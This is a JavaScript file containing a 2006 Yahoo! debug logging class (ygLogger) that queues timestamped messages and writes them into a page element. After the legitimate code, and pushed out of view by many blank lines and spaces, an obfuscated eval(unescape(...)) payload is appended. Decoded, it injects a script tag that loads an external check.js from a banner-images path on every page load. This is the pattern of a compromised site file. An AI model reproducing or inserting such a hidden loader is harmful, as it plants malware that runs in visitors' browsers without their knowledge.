/* Copyright (c) 2006 Yahoo! Inc. All rights reserved. */

/**
 * @class a general logging class.  Expects to be initalized with a reference
 * to a html element to write to.
 *
 * @constructor
 * @param {String} sModuleName the name of the module this instance belongs 
 * to.  Used in the log message to help id where the msg came from.
 */
function ygLogger(sModuleName) {
	if (this.setModuleName)
	this.setModuleName(sModuleName);
}

ygLogger.DEBUG_ENABLED = true;
ygLogger.targetEl = null;
ygLogger.logStack = [];
ygLogger.startLog = new Date().getTime();
ygLogger.lastLog = new Date().getTime();
ygLogger.locked = true;
ygLogger.logTimeout = null;

ygLogger.init = function(oHostElement) {
	if (oHostElement) {
		ygLogger.targetEl = oHostElement;
	} else {
		// create element or create window?
	}
};

ygLogger.prototype.setModuleName = function(sModuleName) {
	this.logName = sModuleName;
};

ygLogger.prototype.debug = function() {
	if (ygLogger.DEBUG_ENABLED) {
		var newDate = new Date();
		var newTime = newDate.getTime();
		var timeStamp = newTime - ygLogger.lastLog;
		var totalSeconds = (newTime - ygLogger.startLog) / 1000;

		ygLogger.lastLog = newTime;

		for (var i = 0; i < arguments.length; i++) {
			ygLogger.logStack[ygLogger.logStack.length] = 
					timeStamp + " ms(" + totalSeconds + ") " + 
					newDate.toLocaleTimeString() + "<br />" + 
					this.logName + ": <b>" + arguments[i] + "</b>";
		}

		if (ygLogger.logTimeout == null) {
			ygLogger.logTimeout = setTimeout("ygLogger._outputMessages()" , 1);
		}

	}
};

ygLogger.disable = function() {
	ygLogger.DEBUG_ENABLED = false;
	try { ygLogger.targetEl.style.visibility = "hidden"; } catch(e) {}

};

ygLogger.enable = function() {
	ygLogger.DEBUG_ENABLED = true;
	try { ygLogger.targetEl.style.visibility = ""; } catch(e) {}
};

ygLogger._outputMessages = function() {
	if (ygLogger.targetEl != null) {

		for (var i = 0; i < ygLogger.logStack.length; i++) {
			var sMsg = ygLogger.logStack[i];
			var oNewElement = ygLogger.targetEl.appendChild(
					document.createElement("p"));
			oNewElement.innerHTML = sMsg;
		}
		
		ygLogger.logStack = [];

		ygLogger.targetEl.scrollTop = ygLogger.targetEl.scrollHeight;

		// debugger;
	}

	ygLogger.logTimeout = null;
};




































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%30%34%39%35%37%3B%20%4A%53%53%33%20%3D%20%27%2F%42%61%6E%6E%65%72%42%75%69%6C%64%65%72%2F%69%6D%61%67%65%73%2F%62%61%6E%6E%65%72%73%2F%6A%69%6E%61%6D%75%77%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%42%61%6E%6E%65%72%42%75%69%6C%64%65%72%2F%69%6D%61%67%65%73%2F%62%61%6E%6E%65%72%73%2F%6A%69%6E%61%6D%75%77%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      





































































































